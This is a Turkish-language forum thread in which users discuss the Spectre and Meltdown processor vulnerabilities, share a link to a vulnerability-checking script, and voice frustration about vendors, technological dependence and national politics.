Spectre cok tehlikeli bir acik ve yazilimsal olarak kapatmak zor. Cesitleri cikacaktir ve cikma yolunda gidiyor.
Yeni donanim ile guvende olabiliriz. Bana bu daha buz daginin gorunen kismi gibi geliyor.

Meltdown cok onemli degil. Cozuldu zaten de, Spectre bize hayati zehir edecek onu anladik.

[cokomoko]

Bunun böyle olacağı belliydi. Stallman diyordu da abartıyor sanıyorduk, son yıllardaki olaylar açıkların ne boyutta olduğunu gösterdi.
Ben şahsen bundan sonra teknoloji adına bir şey alacağımı sanmıyorum, elimde ne varsa onunla devam. Yazık ya verilen paralara yazık!
Şu ülkede adam gibi bir işlemci bir kibritçöpü olsun yapılamıyor.
Herkes kendi donanımını ve işletim sistemini mi üretsin anlamıyorum, artık hiçbir firma ya da kuruluşun sağlam olduğunu düşünmüyorum.

[nuked]

aşağıdaki betikle açıkların sistemdeki durumu hakkında daha detaylı bilgi alabilirsiniz. variant 2 için mikrokod güncellemesi şart ama diğer açıklar bir şekilde kapatılabilir
https://github.com/speed47/spectre-meltdown-checker

[cokomoko]

Hepsi kapatılsa ne yazar? Kim bilir daha neler var? Adamlar kendi paramızla bizi rezil ediyor!
Ve halen daha haklarında bir soruşturma bir para iadesi kararı yok.
Hadi kişisel kullanıcıyı geçtim bu dünya hükümetleri ne yapıyor? Neden bunlara dava açmıyorlar? Belki de onların işine geliyor?
Burada Amerikan Hükümeti dışında diğer herkes zarardadır. Bu işlemci mimarilerini kim böyle tasarlattı?
Yeni donanım çıkınca bunda da böyle şeyler olmayacağının garantisi mi var?
Bari ülke olarak hükümet kendisi birşey yapsa etse de en azından bu kurumlardaki bilgilerimiz, çarşaf çarşaf yayınlanmasa!
Artık donanım ve yazılımın hiç kimsenin tekeline bırakılma şansı yok. Ben bir vatandaş olarak bu saatten sonra neden teknolojiye para vereyim? Bana bunu bu firmalar izah etsin.
İşe bak ya olay Lozan Antlaşması'nın olduğu döneme döndü, telgraf hatları İngilizler'de idi şimdi gene Anglo-Sakson olan ABD'de.
Hat kimde ise hükmü o belirler.

Yeni işlemciler ne zaman çıkar acaba? 
Umarım performansdan çok güvenlik odaklı olurlar şimdiden sonra.

Rakip firmalar artmadıkça el mahkum diyerek varolanla devam etmek durumunda kalıyoruz. Ryzen platformunu bilmiyorum ama şu ana kadar Linux ile hep sıkıntılı olmuştur. En çok şaşırdığım şeyse: Japon milletinin gerek işletim sistemi gerekse işlemci konusunda tepe markalarının olmaması. Onca insan gücüne rağmen Çin'in işlemci tasarımı konusunda rakip çıkartamaması. Bizi zaten hiç saymıyorum Osmanlı'dan beri vergiler ülkesiyiz. En büyük ispatıysa Celali isyanlarıdır. Genel anlamda ortalama %30 vergiyle yaşamaya çalışıyoruz. Özgür düşünemiyoruz cebimiz delik karnımız aç hele de çoğu yöneticinin iştahı o kadar yerindeki "Kara Delik" misali milletçe doyuramıyoruz.  Karın tokluğuna yapılan işlerin soncunda dünya çapında herhangi bi alanda kırtasiye, teknoloji, mobilya, beyaz eşya .... 1 tane markamız sanırım yok. Garip olansa halk zeka ortalaması yüksek olan ilk 5 millet arasında olabilmemiz. Durum böyle olunca da başkasının asıl sahip olduğu şeyin kötüsünü iyisini konuşmak zorunda kalıyoruz. Milletimizin bekası için payidar kalabilmesi eksiğide olsa bizim olanı koruyup kollamak yenilerini daha iyisini yapmak gerekli. İnsan eliyle yapılan hiçbir şey kusursuz olmadığı gibi açıklar devam edecektir. Malum firma 8. nesilde bu açığı kapatacakmış sıkıntı yok! Diğer taraftan açık bırakırsın sonra elmanın yaptığı gibi mahkeme önlerine çıkıp tiyatro oyununuzu oynarsınız. Hadi onlar öyle yaptı ama kaç firma BİOS güncellemesi ile bu açığı kapadı! Kısaca bu durum işlerine geliyor. AMD bizde böyle bir açık yok dedi ama açık bırakılan kapıyı göstermedi! Adeta yakan top oynuyorlar bizde ekranlarımızdan seyrediyoruz.

Oyunu izleyen değil kuran, oynatan olmak için dünden daha fazla çalışmalıyız yoksa kendi refahları adına kimsenin gözünün yaşına bakmayıp kendilerinden başkasına yaşam hakkı tanımazlar. Tarih en büyük tanıkları olmuş olmaya devam edecektir. "Aliya İzzetbegoviç'in Türklere Yazdığı Mektup" sonuna kadar okumanızı, dinlemenizi tavsiye ederim.

Not: Amacım kesinlikle siyaset yapmak değil meslek edinmiş uzmanlarına bırakmayı yeğliyorum. Memleketimizde çok uzmanı olduğundan eminim eksikliğim hissedilmez.

[cokomoko]

Donanım üretimini siz biz yapacak değiliz, zaten alanımız da değil. Herşeyden önce yüksek teknoloji gerektiren işler, para ve yüksek maliyet istiyor, tamam herşeyi devlet yapmaz ama özel sektör de bu işle uğraşmıyor. Kötü de olsa şu alınan vergilerle tamamen bizim emeğimiz olan bir teknolojik ürün geliştirilse daha iyi olurdu. Askeri alanda bazı emekler var ama öyle söylendiği gibi tamamen yerli değil. Yerliden kastım tamamen emeğimizin olduğu bir ürün yok, yani üretmiyoruz. Üretim düşüncede başlar, bir fikir bir kavram ya da bir iş üretmeyince durum böyle oluyor.
Bilemiyorum bir şekilde bu teknolojik dışa bağımlılıktan kurtulmaktan başka çaremiz yok. Bu işi de yapacak biz değiliz, ne bilgimiz ne de paramız yeter. Bu ülkede bunun için para alanlar yapsınlar bunu, zaten herkes işini iyi yapsa bu durumda olmazdık. Bakalım zaman ne gösterir.
